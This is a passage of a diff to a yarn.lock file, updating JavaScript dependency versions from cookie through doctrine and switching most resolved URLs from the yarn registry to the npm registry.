-  resolved "https://registry.yarnpkg.com/core-js-compat/-/core-js-compat-3.30.2.tgz#83f136e375babdb8c80ad3c22d67c69098c1dd8b"
-  integrity sha512-nriW1nuJjUgvkEjIot1Spwakz52V9YkYHZAQG6A1eCgC8AA1p0zngrQEP9R0+V6hji5XilWKG1Bd0YRppmGimA==
+cookie-signature@^1.2.1:
+  version "1.2.2"
+  resolved "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.2.2.tgz"
+  integrity sha512-D76uU73ulSXrD1UXF4KE2TMxVVwhsnCgfAyTg9k8P6KGZjlXKrOLe4dJQKI3Bxi5wjesZoFXJWElNWBjPZMbhg==
+
+cookie@^0.7.1:
+  version "0.7.2"
+  resolved "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz"
+  integrity sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==
+
+core-js-compat@^3.40.0:
+  version "3.41.0"
+  resolved "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.41.0.tgz"
+  integrity sha512-RFsU9LySVue9RTwdDVX/T0e2Y6jRYWXERKElIjpuEOEnxaXffI0X7RUwVzfYLfzuLXSNJDYoRYUAmRUcyln20A==
+  dependencies:
+    browserslist "^4.24.4"
+
+core-util-is@~1.0.0:
+  version "1.0.3"
+  resolved "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz"
+  integrity sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==
+
+cors@^2.8.5:
+  version "2.8.5"
+  resolved "https://registry.npmjs.org/cors/-/cors-2.8.5.tgz"
+  integrity sha512-KIHbLJqu73RGr/hnbrO9uBeixNGuvSQjul/jdFvS/KFSIH1hWVd1ng7zOHx+YrEfInLG7q4n6GHQ9cDtxv/P6g==
+  dependencies:
+    object-assign "^4"
+    vary "^1"
+
+cosmiconfig@^9.0.0:
+  version "9.0.0"
+  resolved "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-9.0.0.tgz"
+  integrity sha512-itvL5h8RETACmOTFc4UfIyB2RfEHi71Ax6E/PivVxq9NseKbOWpeyHEOIbmAw1rs8Ak0VursQNww7lf7YtUwzg==
+  dependencies:
+    env-paths "^2.2.1"
+    import-fresh "^3.3.0"
+    js-yaml "^4.1.0"
+    parse-json "^5.2.0"
+
+create-jest@^29.7.0:
+  version "29.7.0"
+  resolved "https://registry.yarnpkg.com/create-jest/-/create-jest-29.7.0.tgz#a355c5b3cb1e1af02ba177fe7afd7feee49a5320"
+  integrity sha512-Adz2bdH0Vq3F53KEMJOoftQFutWCukm6J24wbPWRO4k1kMY7gS7ds/uoJkNuV8wDCtWWnuwGcJwpWcih+zEW1Q==
   dependencies:
-    browserslist "^4.21.5"
+    "@jest/types" "^29.6.3"
+    chalk "^4.0.0"
+    exit "^0.1.2"
+    graceful-fs "^4.2.9"
+    jest-config "^29.7.0"
+    jest-util "^29.7.0"
+    prompts "^2.0.1"
 
 create-require@^1.1.0:
   version "1.1.1"
-  resolved "https://registry.yarnpkg.com/create-require/-/create-require-1.1.1.tgz#c1d7e8f1e5f6cfc9ff65f9cd352d37348756c333"
+  resolved "https://registry.npmjs.org/create-require/-/create-require-1.1.1.tgz"
   integrity sha512-dcKFX3jn0MpIaXjisoRvexIJVEKzaq7z2rZKxf+MSr9TkdmHmsU4m2lcLojrj/FHl8mk5VxMmYA+ftRkP/3oKQ==
 
 cross-spawn@^7.0.0, cross-spawn@^7.0.2, cross-spawn@^7.0.3:
   version "7.0.3"
-  resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-7.0.3.tgz#f73a85b9d5d41d045551c177e2882d4ac85728a6"
+  resolved "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz"
   integrity sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==
   dependencies:
     path-key "^3.1.0"
     shebang-command "^2.0.0"
     which "^2.0.1"
 
-cssesc@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/cssesc/-/cssesc-3.0.0.tgz#37741919903b868565e1c09ea747445cd18983ee"
-  integrity sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==
+cross-spawn@^7.0.6:
+  version "7.0.6"
+  resolved "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz"
+  integrity sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==
+  dependencies:
+    path-key "^3.1.0"
+    shebang-command "^2.0.0"
+    which "^2.0.1"
+
+css-select@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.npmjs.org/css-select/-/css-select-5.1.0.tgz"
+  integrity sha512-nwoRF1rvRRnnCqqY7updORDsuqKzqYJ28+oSMaJMMgOauh3fvwHqMS7EZpIPqK8GL+g9mKxF1vP/ZjSeNjEVHg==
+  dependencies:
+    boolbase "^1.0.0"
+    css-what "^6.1.0"
+    domhandler "^5.0.2"
+    domutils "^3.0.1"
+    nth-check "^2.0.1"
+
+css-what@^6.1.0:
+  version "6.1.0"
+  resolved "https://registry.npmjs.org/css-what/-/css-what-6.1.0.tgz"
+  integrity sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==
 
 cssom@^0.5.0:
   version "0.5.0"
-  resolved "https://registry.yarnpkg.com/cssom/-/cssom-0.5.0.tgz#d254fa92cd8b6fbd83811b9fbaed34663cc17c36"
+  resolved "https://registry.npmjs.org/cssom/-/cssom-0.5.0.tgz"
   integrity sha512-iKuQcq+NdHqlAcwUY0o/HL69XQrUaQdMjmStJ8JFmUaiiQErlhrmuigkg/CU4E2J0IyUKUrMAgl36TvN67MqTw==
 
 cssom@~0.3.6:
   version "0.3.8"
-  resolved "https://registry.yarnpkg.com/cssom/-/cssom-0.3.8.tgz#9f1276f5b2b463f2114d3f2c75250af8c1a36f4a"
+  resolved "https://registry.npmjs.org/cssom/-/cssom-0.3.8.tgz"
   integrity sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==
 
 cssstyle@^2.3.0:
   version "2.3.0"
-  resolved "https://registry.yarnpkg.com/cssstyle/-/cssstyle-2.3.0.tgz#ff665a0ddbdc31864b09647f34163443d90b0852"
+  resolved "https://registry.npmjs.org/cssstyle/-/cssstyle-2.3.0.tgz"
   integrity sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==
   dependencies:
     cssom "~0.3.6"
 
 cssstyle@^3.0.0:
   version "3.0.0"
-  resolved "https://registry.yarnpkg.com/cssstyle/-/cssstyle-3.0.0.tgz#17ca9c87d26eac764bb8cfd00583cff21ce0277a"
+  resolved "https://registry.npmjs.org/cssstyle/-/cssstyle-3.0.0.tgz"
   integrity sha512-N4u2ABATi3Qplzf0hWbVCdjenim8F3ojEXpBDF5hBpjzW182MjNGLqfmQ0SkSPeQ+V86ZXgeH8aXj6kayd4jgg==
   dependencies:
     rrweb-cssom "^0.6.0"
 
 csstype@^3.0.2:
   version "3.1.1"
-  resolved "https://registry.yarnpkg.com/csstype/-/csstype-3.1.1.tgz#841b532c45c758ee546a11d5bd7b7b473c8c30b9"
+  resolved "https://registry.npmjs.org/csstype/-/csstype-3.1.1.tgz"
   integrity sha512-DJR/VvkAvSZW9bTouZue2sSxDwdTN92uHjqeKVm+0dAqdfNykRzQ95tay8aXMBAAPpUiq4Qcug2L7neoRh2Egw==
 
-damerau-levenshtein@^1.0.8:
-  version "1.0.8"
-  resolved "https://registry.yarnpkg.com/damerau-levenshtein/-/damerau-levenshtein-1.0.8.tgz#b43d286ccbd36bc5b2f7ed41caf2d0aba1f8a6e7"
-  integrity sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA==
+data-uri-to-buffer@^6.0.2:
+  version "6.0.2"
+  resolved "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-6.0.2.tgz"
+  integrity sha512-7hvf7/GW8e86rW0ptuwS3OcBGDjIi6SZva7hCyWC0yYry2cOPmLIjXAUHI6DK2HsnwJd9ifmt57i8eV2n4YNpw==
 
 data-urls@^3.0.2:
   version "3.0.2"
-  resolved "https://registry.yarnpkg.com/data-urls/-/data-urls-3.0.2.tgz#9cf24a477ae22bcef5cd5f6f0bfbc1d2d3be9143"
+  resolved "https://registry.npmjs.org/data-urls/-/data-urls-3.0.2.tgz"
   integrity sha512-Jy/tj3ldjZJo63sVAvg6LHt2mHvl4V6AgRAmNDtLdm7faqtsx+aJG42rsyCo9JCoRVKwPFzKlIPx3DIibwSIaQ==
   dependencies:
     abab "^2.0.6"
@@ -4315,142 +4863,114 @@ data-urls@^3.0.2:
 
 data-urls@^4.0.0:
   version "4.0.0"
-  resolved "https://registry.yarnpkg.com/data-urls/-/data-urls-4.0.0.tgz#333a454eca6f9a5b7b0f1013ff89074c3f522dd4"
+  resolved "https://registry.npmjs.org/data-urls/-/data-urls-4.0.0.tgz"
   integrity sha512-/mMTei/JXPqvFqQtfyTowxmJVwr2PVAeCcDxyFf6LhoOu/09TX2OX3kb2wzi4DMXcfj4OItwDOnhl5oziPnT6g==
   dependencies:
     abab "^2.0.6"
     whatwg-mimetype "^3.0.0"
     whatwg-url "^12.0.0"
 
+data-view-buffer@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/data-view-buffer/-/data-view-buffer-1.0.2.tgz#211a03ba95ecaf7798a8c7198d79536211f88570"
+  integrity sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==
+  dependencies:
+    call-bound "^1.0.3"
+    es-errors "^1.3.0"
+    is-data-view "^1.0.2"
+
+data-view-byte-length@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/data-view-byte-length/-/data-view-byte-length-1.0.2.tgz#9e80f7ca52453ce3e93d25a35318767ea7704735"
+  integrity sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==
+  dependencies:
+    call-bound "^1.0.3"
+    es-errors "^1.3.0"
+    is-data-view "^1.0.2"
+
+data-view-byte-offset@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/data-view-byte-offset/-/data-view-byte-offset-1.0.1.tgz#068307f9b71ab76dbbe10291389e020856606191"
+  integrity sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==
+  dependencies:
+    call-bound "^1.0.2"
+    es-errors "^1.3.0"
+    is-data-view "^1.0.1"
+
 date-fns@^2.29.1:
   version "2.30.0"
-  resolved "https://registry.yarnpkg.com/date-fns/-/date-fns-2.30.0.tgz#f367e644839ff57894ec6ac480de40cae4b0f4d0"
+  resolved "https://registry.npmjs.org/date-fns/-/date-fns-2.30.0.tgz"
   integrity sha512-fnULvOpxnC5/Vg3NCiWelDsLiUc9bRwAPs/+LfTLNvetFCtCTN+yQz15C/fs4AwX1R9K5GLtLfn8QW+dWisaAw==
   dependencies:
     "@babel/runtime" "^7.21.0"
 
-debug@4, debug@^4.1.0, debug@^4.1.1, debug@^4.3.1, debug@^4.3.2, debug@^4.3.3, debug@^4.3.4:
-  version "4.3.4"
-  resolved "https://registry.yarnpkg.com/debug/-/debug-4.3.4.tgz#1319f6579357f2338d3337d2cdd4914bb5dcc865"
-  integrity sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==
-  dependencies:
-    ms "2.1.2"
-
-debug@^3.2.7:
-  version "3.2.7"
-  resolved "https://registry.yarnpkg.com/debug/-/debug-3.2.7.tgz#72580b7e9145fb39b6676f9c5e5fb100b934179a"
-  integrity sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==
+debug@4, debug@^4.1.0, debug@^4.1.1, debug@^4.3.1, debug@^4.3.2, debug@^4.3.3, debug@^4.3.4, debug@^4.3.5, debug@^4.4.0:
+  version "4.4.0"
+  resolved "https://registry.npmjs.org/debug/-/debug-4.4.0.tgz"
+  integrity sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA==
   dependencies:
-    ms "^2.1.1"
+    ms "^2.1.3"
 
 decamelize@^1.2.0:
   version "1.2.0"
-  resolved "https://registry.yarnpkg.com/decamelize/-/decamelize-1.2.0.tgz#f6534d15148269b20352e7bee26f501f9a191290"
+  resolved "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz"
   integrity sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==
 
+decamelize@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.npmjs.org/decamelize/-/decamelize-4.0.0.tgz"
+  integrity sha512-9iE1PgSik9HeIIw2JO94IidnE3eBoQrFJ3w7sFuzSX4DpmZ3v5sZpUiV5Swcf6mQEF+Y0ru8Neo+p+nyh2J+hQ==
+
 decimal.js@^10.3.1:
   version "10.4.1"
-  resolved "https://registry.yarnpkg.com/decimal.js/-/decimal.js-10.4.1.tgz#be75eeac4a2281aace80c1a8753587c27ef053e7"
+  resolved "https://registry.npmjs.org/decimal.js/-/decimal.js-10.4.1.tgz"
   integrity sha512-F29o+vci4DodHYT9UrR5IEbfBw9pE5eSapIJdTqXK5+6hq+t8VRxwQyKlW2i+KDKFkkJQRvFyI/QXD83h8LyQw==
 
 decimal.js@^10.4.3:
   version "10.4.3"
-  resolved "https://registry.yarnpkg.com/decimal.js/-/decimal.js-10.4.3.tgz#1044092884d245d1b7f65725fa4ad4c6f781cc23"
+  resolved "https://registry.npmjs.org/decimal.js/-/decimal.js-10.4.3.tgz"
   integrity sha512-VBBaLc1MgL5XpzgIP7ny5Z6Nx3UrRkIViUkPUdtl9aya5amy3De1gsUUSB1g3+3sExYNjCAsAznmukyxCb1GRA==
 
 dedent@^0.7.0:
   version "0.7.0"
-  resolved "https://registry.yarnpkg.com/dedent/-/dedent-0.7.0.tgz#2495ddbaf6eb874abb0e1be9df22d2e5a544326c"
+  resolved "https://registry.npmjs.org/dedent/-/dedent-0.7.0.tgz"
   integrity sha512-Q6fKUPqnAHAyhiUgFU7BUzLiv0kd8saH9al7tnu5Q/okj6dnupxyTgFIBjVzJATdfIAm9NAsvXNzjaKa+bxVyA==
 
-deep-equal@^2.0.5:
-  version "2.2.1"
-  resolved "https://registry.yarnpkg.com/deep-equal/-/deep-equal-2.2.1.tgz#c72ab22f3a7d3503a4ca87dde976fe9978816739"
-  integrity sha512-lKdkdV6EOGoVn65XaOsPdH4rMxTZOnmFyuIkMjM1i5HHCbfjC97dawgTAy0deYNfuqUqW+Q5VrVaQYtUpSd6yQ==
-  dependencies:
-    array-buffer-byte-length "^1.0.0"
-    call-bind "^1.0.2"
-    es-get-iterator "^1.1.3"
-    get-intrinsic "^1.2.0"
-    is-arguments "^1.1.1"
-    is-array-buffer "^3.0.2"
-    is-date-object "^1.0.5"
-    is-regex "^1.1.4"
-    is-shared-array-buffer "^1.0.2"
-    isarray "^2.0.5"
-    object-is "^1.1.5"
-    object-keys "^1.1.1"
-    object.assign "^4.1.4"
-    regexp.prototype.flags "^1.5.0"
-    side-channel "^1.0.4"
-    which-boxed-primitive "^1.0.2"
-    which-collection "^1.0.1"
-    which-typed-array "^1.1.9"
-
-deep-is@^0.1.3, deep-is@~0.1.3:
+dedent@^1.0.0:
+  version "1.6.0"
+  resolved "https://registry.yarnpkg.com/dedent/-/dedent-1.6.0.tgz#79d52d6389b1ffa67d2bcef59ba51847a9d503b2"
+  integrity sha512-F1Z+5UCFpmQUzJa11agbyPVMbpgT/qA3/SKyJ1jyBgm7dUcUEa8v9JwDkerSQXfakBwFljIxhOJqGkjUwZ9FSA==
+
+deep-is@^0.1.3:
   version "0.1.4"
-  resolved "https://registry.yarnpkg.com/deep-is/-/deep-is-0.1.4.tgz#a6f2dce612fadd2ef1f519b73551f17e85199831"
+  resolved "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz"
   integrity sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==
 
 deepmerge@^4.2.2:
   version "4.2.2"
-  resolved "https://registry.yarnpkg.com/deepmerge/-/deepmerge-4.2.2.tgz#44d2ea3679b8f4d4ffba33f03d865fc1e7bf4955"
+  resolved "https://registry.npmjs.org/deepmerge/-/deepmerge-4.2.2.tgz"
   integrity sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==
 
-default-browser-id@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/default-browser-id/-/default-browser-id-3.0.0.tgz#bee7bbbef1f4e75d31f98f4d3f1556a14cea790c"
-  integrity sha512-OZ1y3y0SqSICtE8DE4S8YOE9UZOJ8wO16fKWVP5J1Qz42kV9jcnMVFrEE/noXb/ss3Q4pZIH79kxofzyNNtUNA==
-  dependencies:
-    bplist-parser "^0.2.0"
-    untildify "^4.0.0"
-
-default-browser@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/default-browser/-/default-browser-4.0.0.tgz#53c9894f8810bf86696de117a6ce9085a3cbc7da"
-  integrity sha512-wX5pXO1+BrhMkSbROFsyxUm0i/cJEScyNhA4PPxc41ICuv05ZZB/MX28s8aZx6xjmatvebIapF6hLEKEcpneUA==
-  dependencies:
-    bundle-name "^3.0.0"
-    default-browser-id "^3.0.0"
-    execa "^7.1.1"
-    titleize "^3.0.0"
+deepmerge@^4.3.1:
+  version "4.3.1"
+  resolved "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz"
+  integrity sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==
 
 defaults@^1.0.3:
   version "1.0.4"
-  resolved "https://registry.yarnpkg.com/defaults/-/defaults-1.0.4.tgz#b0b02062c1e2aa62ff5d9528f0f98baa90978d7a"
+  resolved "https://registry.npmjs.org/defaults/-/defaults-1.0.4.tgz"
   integrity sha512-eFuaLoy/Rxalv2kr+lqMlUnrDWV+3j4pljOIJgLIhI058IQfWJ7vXhyEIHu+HtC738klGALYxOKDO0bQP3tg8A==
   dependencies:
     clone "^1.0.2"
 
-define-data-property@^1.0.1, define-data-property@^1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/define-data-property/-/define-data-property-1.1.1.tgz#c35f7cd0ab09883480d12ac5cb213715587800b3"
-  integrity sha512-E7uGkTzkk1d0ByLeSc6ZsFS79Axg+m1P/VsgYsxHgiuc3tFSj+MjMIwe90FC4lOAZzNBdY7kkO2P2wKdsQ1vgQ==
-  dependencies:
-    get-intrinsic "^1.2.1"
-    gopd "^1.0.1"
-    has-property-descriptors "^1.0.0"
-
-define-lazy-prop@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/define-lazy-prop/-/define-lazy-prop-3.0.0.tgz#dbb19adfb746d7fc6d734a06b72f4a00d021255f"
-  integrity sha512-N+MeXYoqr3pOgn8xfyRPREN7gHakLYjhsHhWGT3fWAiL4IkAt0iDw14QiiEm2bE30c5XX5q0FtAA3CK5f9/BUg==
-
-define-properties@^1.1.3, define-properties@^1.2.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/define-properties/-/define-properties-1.2.0.tgz#52988570670c9eacedd8064f4a990f2405849bd5"
-  integrity sha512-xvqAVKGfT1+UAvPwKTVw/njhdQ8ZhXK4lI0bCIuCMrp2up9nPnaDftrLtmpTazqd1o+UY4zgzU+avtMbDP+ldA==
-  dependencies:
-    has-property-descriptors "^1.0.0"
-    object-keys "^1.1.1"
-
-define-properties@^1.1.4:
+define-data-property@^1.0.1, define-data-property@^1.1.4:
   version "1.1.4"
-  resolved "https://registry.yarnpkg.com/define-properties/-/define-properties-1.1.4.tgz#0b14d7bd7fbeb2f3572c3a7eda80ea5d57fb05b1"
-  integrity sha512-uckOqKcfaVvtBdsVkdPv3XjveQJsNQqmhXgRi8uhvWWuPYZCNlzT8qAyblUgNoXdHdjMTzAqeGjAoli8f+bzPA==
+  resolved "https://registry.yarnpkg.com/define-data-property/-/define-data-property-1.1.4.tgz#894dc141bb7d3060ae4366f6a0107e68fbe48c5e"
+  integrity sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==
   dependencies:
-    has-property-descriptors "^1.0.0"
-    object-keys "^1.1.1"
+    es-define-property "^1.0.0"
+    es-errors "^1.3.0"
+    gopd "^1.0.1"
 
 define-properties@^1.2.1:
   version "1.2.1"
@@ -4461,569 +4981,509 @@ define-properties@^1.2.1:
     has-property-descriptors "^1.0.0"
     object-keys "^1.1.1"
 
+degenerator@^5.0.0:
+  version "5.0.1"
+  resolved "https://registry.npmjs.org/degenerator/-/degenerator-5.0.1.tgz"
+  integrity sha512-TllpMR/t0M5sqCXfj85i4XaAzxmS5tVA16dqvdkMwGmzI+dXLXnw3J+3Vdv7VKw+ThlTMboK6i9rnZ6Nntj5CQ==
+  dependencies:
+    ast-types "^0.13.4"
+    escodegen "^2.1.0"
+    esprima "^4.0.1"
+
 delayed-stream@~1.0.0:
   version "1.0.0"
-  resolved "https://registry.yarnpkg.com/delayed-stream/-/delayed-stream-1.0.0.tgz#df3ae199acadfb7d440aaae0b29e2272b24ec619"
+  resolved "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz"
   integrity sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==
 
+depd@2.0.0, depd@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz"
+  integrity sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==
+
+detect-file@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.npmjs.org/detect-file/-/detect-file-1.0.0.tgz"
+  integrity sha512-DtCOLG98P007x7wiiOmfI0fi3eIKyWiLTGJ2MDnVi/E04lWGbf+JzrRHMm0rgIIZJGtHpKpbVgLWHrv8xXpc3Q==
+
 detect-newline@^3.0.0:
   version "3.1.0"
-  resolved "https://registry.yarnpkg.com/detect-newline/-/detect-newline-3.1.0.tgz#576f5dfc63ae1a192ff192d8ad3af6308991b651"
+  resolved "https://registry.npmjs.org/detect-newline/-/detect-newline-3.1.0.tgz"
   integrity sha512-TLz+x/vEXm/Y7P7wn1EJFNLxYpUD4TgMosxY6fAVJUnJMbupHBOncxyWUG9OpTaH9EBD7uFI5LfEgmMOc54DsA==
 
-didyoumean@^1.2.2:
-  version "1.2.2"
-  resolved "https://registry.yarnpkg.com/didyoumean/-/didyoumean-1.2.2.tgz#989346ffe9e839b4555ecf5666edea0d3e8ad037"
-  integrity sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==
+devtools-protocol@0.0.1425554:
+  version "0.0.1425554"
+  resolved "https://registry.npmjs.org/devtools-protocol/-/devtools-protocol-0.0.1425554.tgz"
+  integrity sha512-uRfxR6Nlzdzt0ihVIkV+sLztKgs7rgquY/Mhcv1YNCWDh5IZgl5mnn2aeEnW5stYTE0wwiF4RYVz8eMEpV1SEw==
 
 diff-sequences@^28.1.1:
   version "28.1.1"
-  resolved "https://registry.yarnpkg.com/diff-sequences/-/diff-sequences-28.1.1.tgz#9989dc731266dc2903457a70e996f3a041913ac6"
+  resolved "https://registry.npmjs.org/diff-sequences/-/diff-sequences-28.1.1.tgz"
   integrity sha512-FU0iFaH/E23a+a718l8Qa/19bF9p06kgE0KipMOMadwa3SjnaElKzPaUC0vnibs6/B/9ni97s61mcejk8W1fQw==
 
 diff-sequences@^29.0.0:
   version "29.0.0"
-  resolved "https://registry.yarnpkg.com/diff-sequences/-/diff-sequences-29.0.0.tgz#bae49972ef3933556bcb0800b72e8579d19d9e4f"
+  resolved "https://registry.npmjs.org/diff-sequences/-/diff-sequences-29.0.0.tgz"
   integrity sha512-7Qe/zd1wxSDL4D/X/FPjOMB+ZMDt71W94KYaq05I2l0oQqgXgs7s4ftYYmV38gBSrPz2vcygxfs1xn0FT+rKNA==
 
 diff-sequences@^29.4.3:
   version "29.4.3"
-  resolved "https://registry.yarnpkg.com/diff-sequences/-/diff-sequences-29.4.3.tgz#9314bc1fabe09267ffeca9cbafc457d8499a13f2"
+  resolved "https://registry.npmjs.org/diff-sequences/-/diff-sequences-29.4.3.tgz"
   integrity sha512-ofrBgwpPhCD85kMKtE9RYFFq6OC1A89oW2vvgWZNCwxrUpRUILopY7lsYyMDSjc8g6U6aiO0Qubg6r4Wgt5ZnA==
 
-diff@5.1.0:
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/diff/-/diff-5.1.0.tgz#bc52d298c5ea8df9194800224445ed43ffc87e40"
-  integrity sha512-D+mk+qE8VC/PAUrlAU34N+VfXev0ghe5ywmpqrawphmVZc1bEfn56uo9qpyGp1p4xpzOHkSW4ztBd6L7Xx4ACw==
+diff-sequences@^29.6.3:
+  version "29.6.3"
+  resolved "https://registry.yarnpkg.com/diff-sequences/-/diff-sequences-29.6.3.tgz#4deaf894d11407c51efc8418012f9e70b84ea921"
+  integrity sha512-EjePK1srD3P08o2j4f0ExnylqRs5B9tJjcp9t1krH2qRi8CCdsYfwe9JgSLurFBWwq4uOlipzfk5fHNvwFKr8Q==
 
 diff@^4.0.1:
   version "4.0.2"
-  resolved "https://registry.yarnpkg.com/diff/-/diff-4.0.2.tgz#60f3aecb89d5fae520c11aa19efc2bb982aade7d"
+  resolved "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz"
   integrity sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==
 
+diff@^5.2.0:
+  version "5.2.0"
+  resolved "https://registry.npmjs.org/diff/-/diff-5.2.0.tgz"
+  integrity sha512-uIFDxqpRZGZ6ThOk84hEfqWoHx2devRFvpTZcTHur85vImfaxUbTW9Ryh4CpCuDnToOP1CEtXKIgytHBPVff5A==
+
 difflib@~0.2.1:
   version "0.2.4"
-  resolved "https://registry.yarnpkg.com/difflib/-/difflib-0.2.4.tgz#b5e30361a6db023176d562892db85940a718f47e"
+  resolved "https://registry.npmjs.org/difflib/-/difflib-0.2.4.tgz"
   integrity sha512-9YVwmMb0wQHQNr5J9m6BSj6fk4pfGITGQOOs+D9Fl+INODWFOfvhIU1hNv6GgR1RBoC/9NJcwu77zShxV0kT7w==
   dependencies:
     heap ">= 0.2.0"
 
 dir-glob@^3.0.1:
   version "3.0.1"
-  resolved "https://registry.yarnpkg.com/dir-glob/-/dir-glob-3.0.1.tgz#56dbf73d992a4a93ba1584f4534063fd2e41717f"
+  resolved "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz"
   integrity sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==
   dependencies:
     path-type "^4.0.0"
 
-dlv@^1.1.3:
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/dlv/-/dlv-1.1.3.tgz#5c198a8a11453596e751494d49874bc7732f2e79"
-  integrity sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==
-
-doctrine@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/doctrine/-/doctrine-2.1.0.tgz#5cd01fc101621b42c4cd7f5d1a66243716d3f39d"
-  integrity sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==
-  dependencies:
-    esutils "^2.0.2"
-
 doctrine@^3.0.0:
   version "3.0.0"
